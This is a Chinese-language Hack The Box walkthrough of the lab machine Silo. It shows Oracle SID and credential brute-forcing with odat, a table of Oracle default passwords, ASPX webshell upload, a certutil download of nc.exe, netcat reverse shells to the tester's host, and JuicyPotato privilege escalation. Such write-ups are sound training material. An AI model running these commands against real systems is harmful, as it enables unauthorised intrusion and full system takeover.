Hackthebox:Silo Walkthrough(not use metasploit)

预备知识

Oracle 数据库渗透:oracle默认端口、odat使用——sid、用户名密码爆破、任意文件上传

JuicyPotato提权

netcat、certutil、nmap

信息收集和获取立足点

nmap 扫描一下端口,这里普通扫描无效,需要-Pn参数

nmap -Pn 10.10.10.82
PORT    STATE SERVICE
25/tcp  open  smtp
110/tcp open  pop3

目前只知道smtp和pop3服务

只能详细扫描nmap -Pn -sV -sC -p25,110 10.10.10.82,输出结果还是没什么区别,后来看了别人的walkthrough才知道端口扫少了,原来nmap的默认扫描数量不全,所以没扫出来其他端口

扫描1-65535端口 nmap -Pn -p 1-65535 10.10.10.82

这次结果立马爆开,所以只能慢慢看了,实战中我会直接认为是蜜罐

因为开了80端口,先访问http服务,但是访问没有结果,后来看了别人的walkthrough却是有结果,暂且不知原因,重新检查nmap结果

因为有看到445这几个端口,所以再扫一下nmap -Pn -sCV -p80,135,139,445 10.10.10.82,输出结果如下

Nmap scan report for 10.10.10.82
Host is up (0.00047s latency).

PORT    STATE SERVICE       VERSION
80/tcp  open  http?
135/tcp open  msrpc?
139/tcp open  netbios-ssn?
445/tcp open  microsoft-ds?

Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 246.44 seconds

还是没啥用,只能再从之前的端口找信息了,这步我佛了,在复盘时发现老外就没遇到这些问题,可能我的网络环境是真的坑

看到了1521端口开着oracle数据库,3306也开着mysql,先从oracle下手

google了一下,搜索到了odat这个工具,项目链接

看看kali上有没有,apt-cache search odat,发现是有的,所以安装一下sudo apt-get install odat

查阅一点Oracle渗透的资料

渗透Oracle 11g

【实用工具】ODAT:一款专门用于Oracle渗透的工具

对oracle数据库的安全测试

首先是oracle的默认密码

用户名 / 密码                      登录身份                              说明
sys/change_on_install       SYSDBA 或 SYSOPER        不能以 NORMAL 登录,可作为默认的系统管理员
system/manager               SYSDBA 或 NORMAL         不能以 SYSOPER 登录,可作为默认的系统管理员
sysman/oem_temp             sysman                            为 oms 的用户名
scott/tiger                        NORMAL                            普通用户
aqadm /aqadm                SYSDBA 或 NORMAL        高级队列管理员
Dbsnmp/dbsnmp           SYSDBA 或 NORMAL           复制管理员

根据这篇odat的wiki,爆破一下凭据python odat.py passwordguesser -s 10.10.10.82 -p 1521 --accounts-file accounts_multiple.txt不过到这里就出了问题,一点输出都没有,最后发现ping都ping不上了,只能重置,发现重置后web可以访问了,不过只是个iis默认页面

Hackthebox:Silo Walkthrough(not use metasploit)

不过再nmap的结果就详细多了,结果如下,可以知道是个windows 2008r2

PORT    STATE SERVICE      VERSION
80/tcp  open  http         Microsoft IIS httpd 8.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: IIS Windows Server
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 5m15s, deviation: 0s, median: 5m15s
| smb-security-mode: 
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: supported
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-12-10T05:39:38
|_  start_date: 2020-12-10T05:31:33

重新爆破python3 odat.py passwordguesser -s 10.10.10.82 -p 1521 --accounts-file accounts_multiple.txt

创建一个bat脚本,用开枚举userecho 'dir /a c:\Users\' > ech0.bat

python3 odat.py dbmsxslprocessor -s 10.10.10.82 -d XE -U scott -P tiger --putFile "c:/" ech0.bat /home/bot/ech0.bat --sysdba

还是不清楚为什么扫不出来,发现可能是odat安装错了,,,参考这篇博客Installing Oracle Database Attacking Tool (ODAT) on Kali Rolling (2018)kali关于odat的readme

最后下了一个编译好的版本,此外,安装一下orcale instaclient, sdk, sqlplus,方便后面登录oracle数据库

  • Instantclient-basic-linux.x64-21.1.0.0.0.zip
  • Instantclient-sqlplus-linux.x64-21.1.0.0.0.zip
  • Instantclient-sdk-linux.x64-21.1.0.0.0.zip
sudo mkdir -p /opt/oracle/
sudo cp instantclient-* /opt/oracle/  

解压

cd /opt/oracle/
sudo unzip instantclient-basic-linux.x64-21.1.0.0.0.zip
sudo unzip instantclient-sqlplus-linux.x64-21.1.0.0.0.zip 
sudo unzip instantclient-sdk-linux.x64-21.1.0.0.0.zip

创建链接 libclntsh.so.12.1 等

cd instantclient_21_1 
ln libclntsh.so.21.1 libclntsh.so
echo " 
export PATH=$PATH:/opt/oracle/instantclient_21_1 
export SQLPATH=/opt/oracle/instantclient_21_1 
export TNS_ADMIN=/opt/oracle/instantclient_21_1 
export LD_LIBRARY_PATH=/opt/oracle/instantclient_21_1 
export ORACLE_HOME=/opt/oracle/instantclient_21_1 
" >> ~/.zshrc

刷新一下终端source ~/.zshrc

在/etc/ld.so.conf添加/opt/oracle/instantclient_21_1/

下面的还有个坑,如果是proxychains必须指定文件,如proxychains ./odat-libc2.12-x86_64形式

在odat目录重新爆破odat passwordguesser -s 10.10.10.82 -p 1521 --accounts-file accounts/accounts_multiple.txt

报错:CRITICAL -: The server SID must be given with the '-d SID' option.,需要一个sid,差不多得了

查看wiki,发现有个爆破sid的odat sidguesser -s 10.10.10.82 --sids-file=sids.txt,等待一段时间,得到两个

再爆破用户名密码

./odat-libc2.12-x86_64 passwordguesser -s 10.10.10.82 -p 1521 -d XEXDB --accounts-file accounts/accounts_multiple.txt  
./odat-libc2.12-x86_64 passwordguesser -s 10.10.10.82 -p 1521 -d XE --accounts-file accounts/accounts_multiple.txt  

过程会问你不止一个是否继续破解,选continue without to ask (c/C)即可

找到的凭据scott/tiger 两个sid都是

登录sqlplus scott/tiger@10.10.10.82:1521/XEXDB as sysdba ,简单看了下,没什么特别的

as sysdba在oracle 数据库中的含义就是sudo

进入odat的目录直接传shell, 参考这篇wiki

./odat-libc2.12-x86_64 dbmsxslprocessor -s 10.10.10.82 -U scott -P tiger -d XE --putFile "C:\inetpub\wwwroot" "shell.aspx" "/usr/share/webshells/aspx/cmdasp.aspx" --sysdba

浏览器浏览

Hackthebox:Silo Walkthrough(not use metasploit)

那就在本地开启http服务,传一个nc.exe

浏览器执行certutil.exe -urlcache -f http://10.10.14.15/nc.exe C:\WINDOWS\TEMP\nc.exe

本地开启一个nc监听

浏览器执行C:\WINDOWS\TEMP\nc.exe 10.10.14.15 5555 -e cmd.exe

回连成功,权限也比较低

c:\windows\system32\inetsrv>whoami
whoami
iis apppool\defaultapppool

c:\windows\system32\inetsrv>

权限提升

简单看下权限

c:\windows\system32\inetsrv>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

适用Juicy Potato,参考这篇文章的用法

  • CreateProcessWithToken (needs SeImpersonate)

  • CreateProcessAsUser (needs SeAssignPrimaryToken)

certutil.exe -urlcache -f http://10.10.14.15/JuicyPotato.exe C:\WINDOWS\TEMP\JuicyPotato.exe

本地nc新监听一个端口,回到之前普通权限的shell执行

C:\WINDOWS\TEMP\JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c C:\WINDOWS\TEMP\nc.exe -e cmd.exe 10.10.14.15 4444" -t *

成功拿到shell

Hackthebox:Silo Walkthrough(not use metasploit)

上一篇:利用telemetry进行权限维持


下一篇:VC++对话框中添加状态栏的方法